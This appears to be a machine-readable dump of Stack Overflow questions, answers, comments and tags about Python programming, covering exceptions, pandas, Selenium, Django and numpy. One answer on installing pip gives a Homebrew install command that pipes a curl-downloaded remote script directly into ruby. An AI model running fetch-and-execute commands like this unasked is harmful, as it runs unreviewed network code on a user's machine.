http://stackoverflow.com/a/48798118
downvote count: 0
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/84599733
answers question: http://stackoverflow.com/q/48797648
upvote count: 2
has body: You are trying the parse the string 'Exit' to an integer. You can add a try/except around the casting line and handle invalid input. import random num = random.randint(1,9) tries = 1 guess = 0 guess = input("Guess a number from 1 to 9: ") try: guess = int(guess) // try to cast the guess to a int while guess != num: if guess == num: tries = tries + 1 break elif guess &gt; num: guess = int(input("Too high! Guess again: ")) tries = tries + 1 continue else: guess = int(input("Too low! Guess again: ")) tries = tries + 1 continue print("Exactly right!") print("You guessed " + str(tries) + " times.") except ValueError: if guess == str('Exit'): print("Good bye") else: print("Invalid input")

http://stackoverflow.com/comment/84515747
score: 0
comment on: http://stackoverflow.com/q/48757325
type: Comment
has text: Half a filter plus half a filter should be one filter shouldn't it?
type: QuestionComment

http://stackoverflow.com/comment/84431080
comment on: http://stackoverflow.com/a/48715911
score: 0
type: AnswerComment
has text: @Mr.Zeus thanks, that's an interesting point. I just found this article titled [Eval is really dangerous](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html).
type: Comment

http://stackoverflow.com/q/48790475
has answer: http://stackoverflow.com/a/48791261
type: Question
tagged with: nltk
tagged with: counter
upvote count: 2
tagged with: pandas
answer count: 1
has title: How to Filter NLTK's FreqDist counter using regex or pandas
favorite count: 0
type: UnansweredQuestion
tagged with: python
has body: I have a FreqDist counter object, counting tuples with a set length. The length could be two or more, but it is the same within the counter object. For example: ('a','b','c') 5 ('a','b','d') 8 ('c','d','a') 2 ('a','a','e') 3 ('a','b','e') 3 My objective is to filter the FreqDist counter, using the first two elements in this case, and identifying the tuple with the highest count. If the tuple contained two elements, then i would filter on the first only, always leaving the last one as a joker. step#1 filter on ('a','b', *) ('a','b','c') 5 ('a','b','d') 8 ('a','b','e') 3 step#2 identify ('a','b','d') as the tuple with the highest count. Surely there must be a method that can help do this, but my research did not reveal anything so far. Your help is greatly appreciated.
tagged with: regex
score: 2
downvote count: 0

http://stackoverflow.com/comment/84450093
has text: quick way to remove `#` from start of `url` will be `if url.startswith('#'): url = url[1:]`
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/48725548

http://stackoverflow.com/q/48800081
has comment: http://stackoverflow.com/comment/84603238
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/48800158
tagged with: selenium
accepted answer: http://stackoverflow.com/a/48800158
type: Question
score: 1
has body: I have found an element and want to find all href in this element. I tried to get all the links but only the first one was obtained. element = driver.find_element_by_xpath("//div[@class='msg']/div[@class='']") href = element.find_element_by_css_selector('a').get_attribute('href') #only get first link What is the correct method to do it? Thank you very much.
upvote count: 1
answer count: 1
favorite count: 0
has title: How to find all href in an element in Selenium with Python
tagged with: python
linked to: http://stackoverflow.com/q/34759787

euclidean-distance
type: Tag
tags question: http://stackoverflow.com/q/48671317
tag name: euclidean-distance

http://stackoverflow.com/q/48689723
downvote count: 0
has title: Conditional except statements in Python
favorite count: 0
has comment: http://stackoverflow.com/comment/84377712
tagged with: exception
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/48689741
has answer: http://stackoverflow.com/a/48690065
has body: Is there a way to make an except statement conditional - in other words, only catch a type of exception if the condition is true? This is the idea I have, but it seems like it won't work try: &lt;code&gt; if condition == True: except Exception as e: &lt;error handling&gt;
type: Question
score: 5
upvote count: 5
has answer: http://stackoverflow.com/a/48689753
answer count: 3

http://stackoverflow.com/a/48733407
answers question: http://stackoverflow.com/q/48722464
has comment: http://stackoverflow.com/comment/84523548
type: Answer
has body: Short answer: yes. Slightly longer answer: determine the smallest power of two minus two that is larger or equal than your node number. Calculate 32 - power for the mask size. The host mask is (2^power)-1, the network mask (2^32)-1 - host mask.
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48722464
has comment: http://stackoverflow.com/comment/84529420

http://stackoverflow.com/comment/84358203
comment on: http://stackoverflow.com/q/48680465
score: 0
type: Comment
type: QuestionComment
has text: I want the keys to be written in a separate column as against the rows (which is how it is written in the example which you have given above). Also I need guidance on writing the values of each key into adjacent column.

http://stackoverflow.com/a/48772316
score: 3
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: Another option is to use the 'U' dtype, which stands for unicode. &gt;&gt;&gt; import numpy as np &gt;&gt;&gt; mylist = np.genfromtxt('city-data.txt', delimiter='\t', dtype=('U10','U10',float,float)).tolist() &gt;&gt;&gt; mylist [('Alabama', 'Montgomery', 32.361538, -86.279118), ('Alaska', 'Juneau', 58.301935, -134.41974)]
answers question: http://stackoverflow.com/q/48771678
upvote count: 3
accepted answer of: http://stackoverflow.com/q/48771678

yocto
tags question: http://stackoverflow.com/q/48651331
type: Tag
tags question: http://stackoverflow.com/q/48660051
tag name: yocto

http://stackoverflow.com/q/48705324
upvote count: 0
linked to: http://stackoverflow.com/q/2399307
answer count: 1
has comment: http://stackoverflow.com/comment/84410177
tagged with: inheritance
tagged with: typeerror
has comment: http://stackoverflow.com/comment/84409335
tagged with: parent
has title: Python TypeError inheritance
has comment: http://stackoverflow.com/comment/84409363
has answer: http://stackoverflow.com/a/48705487
tagged with: python
has comment: http://stackoverflow.com/comment/84409608
favorite count: 0
has comment: http://stackoverflow.com/comment/84409078
has comment: http://stackoverflow.com/comment/84409094
has comment: http://stackoverflow.com/comment/84409283
has comment: http://stackoverflow.com/comment/84409055
downvote count: 1
has body: First, sorry if the question seems to be similar to some previously raised issues; but they didn't help me.I'm trying to use a parent class within a child one. Both classes receive the same input as below: The parent (PA.py): class The_Parent(): def __init__(self,in1=None,in2=None,in3=None): # # and the rest of codes ... And the child (CH.py): class The_Child(The_Parent) def __init__(self,in1,in2,in3): The_Parent.__init__(self,in1,in2,in3) # # # the rest of code ... And now, the main function: # import requirements and assigning the variables (in1, in2, and in3) # obj = CH.The_Child(in1,in2,in3) # # And the error I got: TypeError: The_Child() takes 1 positional argument but 3 were given Just a point, both child and parent should receive the same variables...
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84409436
has comment: http://stackoverflow.com/comment/84409683
has comment: http://stackoverflow.com/comment/84409529
accepted answer: http://stackoverflow.com/a/48705487
score: -1
type: Question

http://stackoverflow.com/comment/84364915
comment on: http://stackoverflow.com/a/48683834
type: AnswerComment
type: Comment
has text: Yes but the OP doesn't want the final number, but filling each row with the corresponding counter value at that moment. (or at least this is what I understood)
score: 1

http://stackoverflow.com/comment/84418193
type: Comment
has text: Very cool. You can even execute ternary conditions like `f" {param1 if param1 else param2} "` within the braces. Learned something new, thanks!
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48709626

http://stackoverflow.com/q/48772801
favorite count: 0
has answer: http://stackoverflow.com/a/49924342
tagged with: python
has title: Google translation api call
downvote count: 0
tagged with: google-translation-api
type: UnansweredQuestion
score: 1
tagged with: translation
type: Question
has comment: http://stackoverflow.com/comment/84547329
tagged with: text-analytics-api
tagged with: api
upvote count: 1
answer count: 1
has body: I am using the Google translation api paid version to translate comments in python. I am calling the rest api link in my Python code I would like to known if I pass 1000 comments at a time (strings) how many times api is called and also would like to know what is the meaning of one api call.

http://stackoverflow.com/q/48662261
linked to: http://stackoverflow.com/q/37361389
has answer: http://stackoverflow.com/a/48662855
type: UnansweredQuestion
tagged with: django
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84321924
has comment: http://stackoverflow.com/comment/84321973
has answer: http://stackoverflow.com/a/48663023
has title: Django filter by first letter of model
has body: I have a problem and i dont know how to solve it. I got this template generating /list/a,b,c, etc. And i want to show in this a,b,c url only model with the same letter. list template {% for i in alphabet %} {{i}} {%endfor%} model's class Anime(models.Model): title = models.CharField(max_length=300, unique=True) ongoing = models.BooleanField(default=True) add_date = models.DateTimeField('date published') How can i filter that in another desired template
downvote count: 0
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84322168
answer count: 3
has comment: http://stackoverflow.com/comment/84322048
has answer: http://stackoverflow.com/a/48665468
tagged with: python

http://stackoverflow.com/comment/84398596
type: Comment
has text: Thank you @jezrael
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/48699928

http://stackoverflow.com/comment/84411293
score: 0
comment on: http://stackoverflow.com/a/48705917
type: Comment
has text: I think you need second solution, if need join first dataframe by column `visitor` and second by column `teamID`. No loop is necessary.
type: AnswerComment

http://stackoverflow.com/comment/84536460
has text: You can only extract the UDP class representation from scapy, exactly like @game0ver suggested.
type: AnswerComment
comment on: http://stackoverflow.com/a/48746239
score: 0
type: Comment

http://stackoverflow.com/comment/84480413
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48740260
has text: @metatoaster But `/usr/bin/python` is not a symlink to `/usr/bin/python2.7`?
score: 1

http://stackoverflow.com/comment/84556064
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48776902
has text: @WillemVanOnsem That's what I meant. But I think the linear insertion time might take *less* time than the linear search time, not more. So that somehow getting rid of that search time would improve by *more* than 50%. What's a fast linear time index search? (Like I said I'm not good enough at NumPy for this)

http://stackoverflow.com/comment/84439371
comment on: http://stackoverflow.com/q/48712639
has text: @ChrisRisley, I had a look at [fabfile.org](http://www.fabfile.org/) but right now I can't try it. Will give it a try some time later. Thanks for the pointer.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84419339
has text: How are you checking the file? Are you using a plain text editor like `vi`? How was that file created?
type: Comment
comment on: http://stackoverflow.com/q/48709836
score: 0
type: QuestionComment

http://stackoverflow.com/comment/84475313
comment on: http://stackoverflow.com/q/48735318
has text: Form list of restricted words `['spam','eggs','bacon']`
type: Comment
type: QuestionComment
score: 0

send
type: Tag
tags question: http://stackoverflow.com/q/48751835
tag name: send

http://stackoverflow.com/a/48713386
score: 4
upvote count: 4
accepted answer of: http://stackoverflow.com/q/48713368
type: AcceptedAnswer
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/84425859
answers question: http://stackoverflow.com/q/48713368
has body: To swap variables. say var1 and var2, use: var2, var1 = var1, var2 Example Let's define two variables: &gt;&gt;&gt; var1 = 1; var2 = 2 Now, let's swap them: &gt;&gt;&gt; var2, var1 = var1, var2 We can verify that they were successfully swapped: &gt;&gt;&gt; print('var1=', var1, 'var2=', var2) var1= 2 var2= 1

http://stackoverflow.com/comment/132437036
comment on: http://stackoverflow.com/a/48652654
type: AnswerComment
type: Comment
has text: This is working when the original library exists but not when it is missing entirely.
score: 0

django-models
tag name: django-models
tags question: http://stackoverflow.com/q/48784431
tags question: http://stackoverflow.com/q/48674396
tags question: http://stackoverflow.com/q/48687699
tags question: http://stackoverflow.com/q/48722692
tags question: http://stackoverflow.com/q/48790218
tags question: http://stackoverflow.com/q/48777490
tags question: http://stackoverflow.com/q/48650991
tags question: http://stackoverflow.com/q/48719299
tags question: http://stackoverflow.com/q/48645927
tags question: http://stackoverflow.com/q/48767853
tags question: http://stackoverflow.com/q/48784861
tags question: http://stackoverflow.com/q/48734227
tags question: http://stackoverflow.com/q/48712375
tags question: http://stackoverflow.com/q/48760381
type: Tag
tags question: http://stackoverflow.com/q/48707261
tags question: http://stackoverflow.com/q/48733209
tags question: http://stackoverflow.com/q/48691352
tags question: http://stackoverflow.com/q/48673739
tags question: http://stackoverflow.com/q/48690731
tags question: http://stackoverflow.com/q/48686930
tags question: http://stackoverflow.com/q/48781952
tags question: http://stackoverflow.com/q/48683588
tags question: http://stackoverflow.com/q/48706447
tags question: http://stackoverflow.com/q/48648373
tags question: http://stackoverflow.com/q/48660969
tags question: http://stackoverflow.com/q/48716346
tags question: http://stackoverflow.com/q/48718704
tags question: http://stackoverflow.com/q/48767648
tags question: http://stackoverflow.com/q/48731703
tags question: http://stackoverflow.com/q/48728974
tags question: http://stackoverflow.com/q/48762529
tags question: http://stackoverflow.com/q/48671332
tags question: http://stackoverflow.com/q/48765977
tags question: http://stackoverflow.com/q/48782764

http://stackoverflow.com/a/48754930
has comment: http://stackoverflow.com/comment/84511846
score: 0
answers question: http://stackoverflow.com/q/48754747
type: Answer
has body: For a more generic solution, you can try this: def replace(d, change_to = 'pet'): return {b.values()[0]:{change_to:a} for a, b in d.items()} Output: {1: {'pet': 'buford'}, 2: {'pet': 'henley'}, 3: {'pet': 'emi'}, 4: {'pet': 'bronc'}}

http://stackoverflow.com/a/48780322
upvote count: 1
answers question: http://stackoverflow.com/q/48780104
score: 1
downvote count: 0
type: Answer
has body: As Steven Wolfe stated in this thread, you may want to look into jsonpickle. This library allows for encoding and decoding of complex Python object. You could use it this way: import jsonpickle f = open(filename, 'w') encoded_string = jsonpickle.encode(obj) f.write(encoded_string) f.close() And to retrieve the data as Python object, simply use the jsonpickle.decode(encoded_string) method. As the documentation says : The new object has the same type and data, but essentially is now a copy of the original. I think that could work well for you.

http://stackoverflow.com/comment/84504409
score: 0
comment on: http://stackoverflow.com/q/48751271
type: Comment
type: QuestionComment
has text: @JonasW. how do I check when a new response comes in? A new response isn't sent out automatically, i more so have to "refresh" the Flask Route to see if there's an update or not.

http://stackoverflow.com/a/74102453
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/48725861
score: 1
has body: Based on this answer, we can avoid the need to use a logarithm on n, only a logarithm on b is necessary, as well as provably reduce the number of cases that need to be checked for correction. It suffices to use the bit length as a good estimate first and then follow up with correction. from math import log def floor_log(n, b): i = int(log(2, b) * (n.bit_length() - 1)) + 1 return i - (b ** i &gt; n) The same logic is used as in the linked answer. Since the same base is probably used repeatedly, this can be further optimized using a cache: from functools import lru_cache, partial from math import log CACHE_SIZE = 10 log_of_2 = lru_cache(CACHE_SIZE)(partial(log, 2)) def floor_log(n, b): i = int(log_of_2(b) * (n.bit_length() - 1)) + 1 return i - (b ** i &gt; n)
downvote count: 0

http://stackoverflow.com/q/48757411
linked to: http://stackoverflow.com/q/20624833
has comment: http://stackoverflow.com/comment/84517735
has comment: http://stackoverflow.com/comment/84648856
upvote count: 3
answer count: 1
has title: Using grid with frames is very slow
has comment: http://stackoverflow.com/comment/84516401
has body: I'm trying to create Conway's Game of Life in python3 using tkinter. I am attempting to initialize all the tiles (like a chessboard for those who don't know of the game of life). The grid is displaying correctly, however, it is way too slow (it takes about 4 or 5 seconds). Here is my code: for i in range(h): for j in range(w): tile = Frame(root, width=30, height=30, bg="#000") tile.grid(row=i, column=j, padx=1, pady=1) note: h and w values (dictate how many pixels the tiles are wide and tall) aren't very large at all. only like 20x30. I have found a similar question here, but it sounds like the number of iterations is vastly different: tkinter is very slow - how to speed it up or use a different library? Is there something wrong with my implementation or should I resort to an alternate library? SIDE QUESTION: also with all my tiles named the same exact thing, I'm not sure how to select a single one in order to change its background color. tile.config(background = "#FFFFFF")
favorite count: 0
accepted answer: http://stackoverflow.com/a/48762679
has comment: http://stackoverflow.com/comment/84640227
tagged with: python
has comment: http://stackoverflow.com/comment/84530600
type: AnsweredQuestion
score: 3
tagged with: tkinter
downvote count: 0
has answer: http://stackoverflow.com/a/48762679
has comment: http://stackoverflow.com/comment/84525603
type: Question
has comment: http://stackoverflow.com/comment/84516635
has comment: http://stackoverflow.com/comment/84516481

http://stackoverflow.com/a/48780904
type: Answer
accepted answer of: http://stackoverflow.com/q/48768161
has comment: http://stackoverflow.com/comment/84568295
upvote count: 3
score: 3
answers question: http://stackoverflow.com/q/48768161
has comment: http://stackoverflow.com/comment/84581593
has comment: http://stackoverflow.com/comment/84567478
type: AcceptedAnswer
has body: c_char_p is a char*. POINTER(c_char_p) is a char**. Fix your .restype and you should be good. ctypes has a default behavior of converting a c_char_p to a Python byte string. Also, mydll.cCreateObject.argtypes = None is correct for no arguments. The existing definition states a void* is a required parameter.
downvote count: 0
has comment: http://stackoverflow.com/comment/84583441

datetimeoffset
type: Tag
tags question: http://stackoverflow.com/q/48737245
tag name: datetimeoffset

http://stackoverflow.com/a/48657233
upvote count: 1
score: 1
has body: Here a code you can try, Don't know pythonic or not : g = '{message: Successfully sent data for processing, execId: d03c96hg-4098-47b9-9e4b-3cb2c}' a = [] for i in g.split(","): a.append(i.strip("{}").split(":")) b = {} for j in a: b.update({j[i]: j[i+1] for i in range(0, len(j), 2)}) print(b) it will give the o/p like this : {'message': ' Successfully sent data for processing', ' execId': ' d03c96hg-4098-47b9-9e4b-3cb2c'}
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/48657067

http://stackoverflow.com/comment/84549523
type: QuestionComment
score: 0
has text: You should `#include <Python.h>` to get the prototypes for the Python functions. Do you do that?
type: Comment
comment on: http://stackoverflow.com/q/48773594

http://stackoverflow.com/a/48671418
has comment: http://stackoverflow.com/comment/84367898
has comment: http://stackoverflow.com/comment/84422838
has comment: http://stackoverflow.com/comment/84586674
has comment: http://stackoverflow.com/comment/84589144
answers question: http://stackoverflow.com/q/48671331
has comment: http://stackoverflow.com/comment/84367503
has comment: http://stackoverflow.com/comment/84589113
has comment: http://stackoverflow.com/comment/84539419
has comment: http://stackoverflow.com/comment/84422752
has comment: http://stackoverflow.com/comment/84543518
has comment: http://stackoverflow.com/comment/84590896
has comment: http://stackoverflow.com/comment/84367109
has comment: http://stackoverflow.com/comment/84539495
type: Answer
has comment: http://stackoverflow.com/comment/84367252
has comment: http://stackoverflow.com/comment/84588858
has comment: http://stackoverflow.com/comment/84589688
score: 0
has comment: http://stackoverflow.com/comment/84423171
has body: Pip is used from the command line. If you are on a Linux/Mac machine, type it from the Terminal. Make sure you actually have Pip. If you don't, use this command (on the Terminal) on linux: sudo apt-get install pip If you are on a Mac, use (in the Terminal): /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" then: brew install pip After doing that on Mac/Linux, you can go ahead and execute the command: pip install flask-mysql If you are on a Windows machine, read this instead: How do I install pip on Windows? Hope this helped!

http://stackoverflow.com/comment/84340606
type: Comment
comment on: http://stackoverflow.com/a/48671174
has text: Ya sryy im new at this
type: AnswerComment
score: 0

http://stackoverflow.com/comment/84463450
comment on: http://stackoverflow.com/a/48646079
score: 0
has text: @KJohnson: in https://github.com/whatupdave/pil/blob/master/PIL/Image.py we can find "When translating a colour image to black and white (mode "L"), the library uses the ITU-R 601-2 luma transform: L = R * 299/1000 + G * 587/1000 + B * 114/100"
type: Comment
type: AnswerComment

pyqt
type: Tag
tags question: http://stackoverflow.com/q/48683200
tags question: http://stackoverflow.com/q/48676859
tags question: http://stackoverflow.com/q/48751920
tags question: http://stackoverflow.com/q/48709399
tags question: http://stackoverflow.com/q/48713295
tags question: http://stackoverflow.com/q/48725529
tags question: http://stackoverflow.com/q/48768817
tags question: http://stackoverflow.com/q/48758188
tags question: http://stackoverflow.com/q/48759203
tags question: http://stackoverflow.com/q/48762863
tags question: http://stackoverflow.com/q/48716193
tags question: http://stackoverflow.com/q/48698321
tags question: http://stackoverflow.com/q/48665080
tags question: http://stackoverflow.com/q/48767242
tags question: http://stackoverflow.com/q/48684729
tags question: http://stackoverflow.com/q/48722770
tags question: http://stackoverflow.com/q/48786807
tags question: http://stackoverflow.com/q/48796317
tags question: http://stackoverflow.com/q/48699298
tags question: http://stackoverflow.com/q/48689445
tags question: http://stackoverflow.com/q/48786311
tags question: http://stackoverflow.com/q/48669932
tags question: http://stackoverflow.com/q/48766455
tags question: http://stackoverflow.com/q/48676797
tags question: http://stackoverflow.com/q/48759396
tags question: http://stackoverflow.com/q/48671027
tags question: http://stackoverflow.com/q/48676566
tags question: http://stackoverflow.com/q/48800292
tags question: http://stackoverflow.com/q/48708492
tags question: http://stackoverflow.com/q/48693735
tags question: http://stackoverflow.com/q/48739070
tags question: http://stackoverflow.com/q/48796093
tag name: pyqt
tags question: http://stackoverflow.com/q/48724047
tags question: http://stackoverflow.com/q/48647528
tags question: http://stackoverflow.com/q/48687464
tags question: http://stackoverflow.com/q/48665126
tags question: http://stackoverflow.com/q/48793100
tags question: http://stackoverflow.com/q/48665788

http://stackoverflow.com/q/48688382
has body: I need to put a certain code developed in Python 3 into a SPSS Modeler node (using the Extension Transform node). This code uses pandas and the default installation of Modeler doesn't include this module. I tried to make SPSS to point to my own Python installation (which includes pandas module) by modifying the 'options.cfg' file following these instructions: https://www.ibm.com/support/knowledgecenter/en/SS3RA7_sub/modeler_r_nodes_ddita/clementine/r_pyspark_api.html However, when I try to import pandas inside SPSS Modeler, it isn't able to load the module. In fact I am not able to load pyspark neither by writing: import spss.pyspark Also when I try to see the directory of the python executable: import sys print sys.executable SPSS gives back a 'None' value. How can I get to work pandas in SPSS Modeler? It seems that I am not able to import any module in Modeler. I am a beginner in SPSS so any help would be appreciated.
has comment: http://stackoverflow.com/comment/84384730
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/49673297
has comment: http://stackoverflow.com/comment/84390365
upvote count: 5
has title: Pandas module in SPSS Modeler
type: Question
tagged with: spss-modeler
score: 5
tagged with: pyspark
answer count: 1
downvote count: 0
favorite count: 0
tagged with: pandas

http://stackoverflow.com/a/48709961
has body: As the linked question you provided indicates, Keras Generators have to iterate indefinitely, so you can output elements to your training as long as you want. More info on that on this Github issue. For that, you must do some modificaiton to your generator like: def subtract_mean_gen(x_source,y_source,avg_image,batch): batch_list_x=[] batch_list_y=[] while 1: #run forever, so you can generate elements indefinitely for line,y in zip(x_source,y_source): x=line.astype('float32') x=x-avg_image batch_list_x.append(x) batch_list_y.append(y) if len(batch_list_x) == batch: yield (np.array(batch_list_x),np.array(batch_list_y)) batch_list_x=[] batch_list_y=[]
has comment: http://stackoverflow.com/comment/84419701
type: Answer
answers question: http://stackoverflow.com/q/48709839
upvote count: 5
score: 5
downvote count: 0

http://stackoverflow.com/q/48781397
accepted answer: http://stackoverflow.com/a/48781789
has title: pythonic way to update dict with sum of function
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/84564160
has comment: http://stackoverflow.com/comment/84564202
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84564875
has comment: http://stackoverflow.com/comment/84564623
type: Question
has comment: http://stackoverflow.com/comment/84564506
has comment: http://stackoverflow.com/comment/84564282
has comment: http://stackoverflow.com/comment/84564490
tagged with: python-2.7
score: 0
has body: I have different dictionaries where the keys are pandas timestamp and values are function taking all one input argument. In [172]: from collections import OrderedDict In [173]: import pandas as pd In [174]: def f(x): ...: pass ...: def g(x): ...: pass ...: def h(x): ...: pass ...: In [175]: dictionary = OrderedDict(zip(keys, [f, g, h])) In [176]: def l(x): ...: pass ...: In [177]: dictionary2 = OrderedDict(zip(pd.date_range('20190101', '20200101', freq='BA'), [l])) Now I would like to update dictionary with dictionary2 and if they are sharing keys the updated dictionary should hold a function which is the sum of the others. If I do a simple update it just overrides it: In [178]: dictionary.update(zip(dictionary2.keys(), dictionary2.values())) In [179]: dictionary Out[179]: OrderedDict([(Timestamp('2018-12-31 00:00:00', freq='BA-DEC'), &lt;function __main__.f&gt;), (Timestamp('2019-12-31 00:00:00', freq='BA-DEC'), &lt;function __main__.l&gt;), (Timestamp('2020-12-31 00:00:00', freq='BA-DEC'), &lt;function __main__.h&gt;)]) However what I would like to have is that we get a new function (name doesnt matter) which is the sum of g and l in this case. There are two question: Is there another way of defining a sum of function than: In [180]: def H(f, g): ...: def _h(x): ...: return f(x) + g(x) ...: return _h ...: In [181]: How do I update then a dict in a pythonic way.
answer count: 1
has answer: http://stackoverflow.com/a/48781789

http://stackoverflow.com/comment/84528747
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48761928
has text: Remove the line `pr_cursor.fetchall()` as the error says it is not a query
score: 0

http://stackoverflow.com/comment/84648679
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48795918
has text: @YvesDaoust: Hi, This is what I did to solve my case: RGB-->HSV (This I had to save) HSV-->Numpy (now all pixel values I have)-->RGB (mode is RGB but pixel values are of HSV, so technically I can use the different channels as HSV)--> then save to disk. Do you think this is good?
score: 0

http://stackoverflow.com/q/48733867
accepted answer: http://stackoverflow.com/a/48734158
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48734158
has comment: http://stackoverflow.com/comment/84466862
has answer: http://stackoverflow.com/a/48734060
type: Question
score: 0
answer count: 2
tagged with: string
tagged with: file-handling
has body: I'm trying to write a program. This program reads a string obtained from a file, separates them, and removes any '{' and replaces it with a colon (which I am attempting to do right now). If there's a '}' on a line by itself, the line is removed entirely. Then it puts the new line into another file. i.e. if I had: "Def StackExchange{" the program should return "Def StackExchange:" I am trying to tackle this by splitting the string by the whitespace, and putting it into a list. Afterwards I loop through the string and remove any '{' and append the list with a ":". The issue is that when I try to remove a '{' or add an ':', I get a ValueError, stating that '{' isn't in the list despite the character being on the list. this is what I have so far: readfile = open(filename + ".bpy","r") writefile = open(filename + ".py","w") line = readfile.readline() string2 = [] while line != "": string = line string2 = [] string2.append(string.split()) if "{" in string2: for x in string2: try: string2.remove("{") string2.append(":") string = string2.join(" ") except: pass writefile.write(string) string2 = [] #This resets string2 and makes it empty so that loop goes on line = readfile.readline() writefile.close() readfile.close() edit: Without using .replace
has title: Cannot remove last part of a list
possible better answer: http://stackoverflow.com/a/48734060
tagged with: python
has comment: http://stackoverflow.com/comment/84466839
tagged with: list

http://stackoverflow.com/comment/84439666
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48720380
has text: Usually it is a frontend-only confirmation. So, wherever your submit button is, you can add an alert on clicking it and then depending on the confirmation, process the ordinary form submit.
score: 0

http://stackoverflow.com/comment/84411750
type: Comment
score: 1
has text: That sounds like a heavily layered XY problem. I don't think that using the string representation of a list as part of a dictionary key is the way to go. Can you show more context of what you are **actually** trying to achieve?
comment on: http://stackoverflow.com/q/48706277
type: QuestionComment

http://stackoverflow.com/q/48766362
has title: selenium switch to iframe to locate elements
has comment: http://stackoverflow.com/comment/84732590
has body: selenium import webdriver from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.common.by import By driver = webdriver.Chrome() driver.maximize_window() driver.get("website") driver.find_element_by_id("fld-username").send_keys("username") driver.find_element_by_id("fld-password").send_keys("password") driver.find_element_by_id("btn-inloggen").click() driver.find_element_by_css_selector("div.block-position-top > p:nth-child(3) > a").click() frame = driver.find_element_by_xpath("//iframe[@class='fancybox-iframe' and starts-with(@id,'fancybox-frame') and contains(@src,'/reminder/add/relation/')]") WebDriverWait(driver, 10).until(EC.frame_to_be_available_and_switch_to_it(frame)) WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, "//input[@class='submit button' and @id='btn-opslaan']"))).click() driver.switch_to.default_content() driver.quit() Currently I'm getting the following error: raise TimeoutException(message, screen, stacktrace) selenium.common.exceptions.TimeoutException: Message: Which is making me assume that I haven't switched to the iframe correctly. I have tried numerous approaches with implicit and explicit waits. this is the html of the frame: (i right clicked and copied element in chrome) some additional iframe elements if i open iframe source page: (button row block is where the locator is located which i want to click) Toevoegen Agenda Toegewezen aan Onderwerp * Opmerkingen Herinneren op * dd-mm-jjjj * = verplicht element of a button i want to click to check if the switch to the frame went successful:
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84803945
tagged with: selenium
type: Question
has comment: http://stackoverflow.com/comment/84803834
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/84533012
has answer: http://stackoverflow.com/a/48945204
tagged with: fancybox
has comment: http://stackoverflow.com/comment/84532908
has comment: http://stackoverflow.com/comment/84893448
has comment: http://stackoverflow.com/comment/85394028
favorite count: 0
tagged with: compiler-errors
upvote count: 2
tagged with: iframe
tagged with: python
accepted answer: http://stackoverflow.com/a/48945204
linked to: http://stackoverflow.com/q/48747864

http://stackoverflow.com/q/48716321
tagged with: python-3.x
has title: Python coding/ decoding cipher
has comment: http://stackoverflow.com/comment/84432948
type: UnansweredQuestion
score: -3
tagged with: python
has comment: http://stackoverflow.com/comment/84432287
has comment: http://stackoverflow.com/comment/84431895
downvote count: 3
tagged with: caesar-cipher
type: Question
has comment: http://stackoverflow.com/comment/84432195
upvote count: 0
has answer: http://stackoverflow.com/a/48717011
answer count: 1
has body: I am trying to encode and then decode this function in python using cipher encryption. I wrote this function. how do I change this function so that it encodes both lower and uppercase letters? def encrypt(message, key): alphabet="abcdefghijklmnopqrstuvwxyz" encMessage="" for character in message: if character in alphabet: index = alphabet.find(character) newPosition = (index+key)%26 newCharacter = alphabet[newPosition] encMessage+=newCharacter else: encMessage+=character return encMessage
has comment: http://stackoverflow.com/comment/84432285
has comment: http://stackoverflow.com/comment/84432000
favorite count: 0

http://stackoverflow.com/a/48726999
score: 10
answers question: http://stackoverflow.com/q/48726983
has comment: http://stackoverflow.com/comment/84453151
accepted answer of: http://stackoverflow.com/q/48726983
type: AcceptedAnswer
downvote count: 0
has body: You don't. Don't use any() if you want to enumerate all the matching items. The name item only exists in the scope of the generator expression passed to any(), all you get back from the function is True or False. The items that matched are no longer available. Just loop directly over the list and test each in an if test: for item in lst: if ".git" in item: print item, or use a list comprehension, passing it to str.join() (this is faster than a generator expression in this specific case): print ' '.join([item for item in list if ".git" in item]) or, using Python 3 syntax: from __future__ import print_function print(*(item for item in list if ".git" in item)) If you wanted to find just the first such a match, you can use next(): first_match = next(item for item in list if ".git" in item) Note that this raises StopIteration if there are no such matches, unless you give next() a default value instead: first_match = next((item for item in list if ".git" in item), None) if first_match is not None: print first_match,
type: Answer
upvote count: 10

http://stackoverflow.com/comment/84567404
has text: I executed the program from ``/tmp`` but I get the same exception.
comment on: http://stackoverflow.com/q/48782591
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84573465
comment on: http://stackoverflow.com/a/48785770
score: 0
type: AnswerComment
has text: @FHTMitchell OP statement? "For each number in max_lens, I want to check that it does not exist as a key in concave "
type: Comment

orm
tags question: http://stackoverflow.com/q/48699012
tags question: http://stackoverflow.com/q/48772576
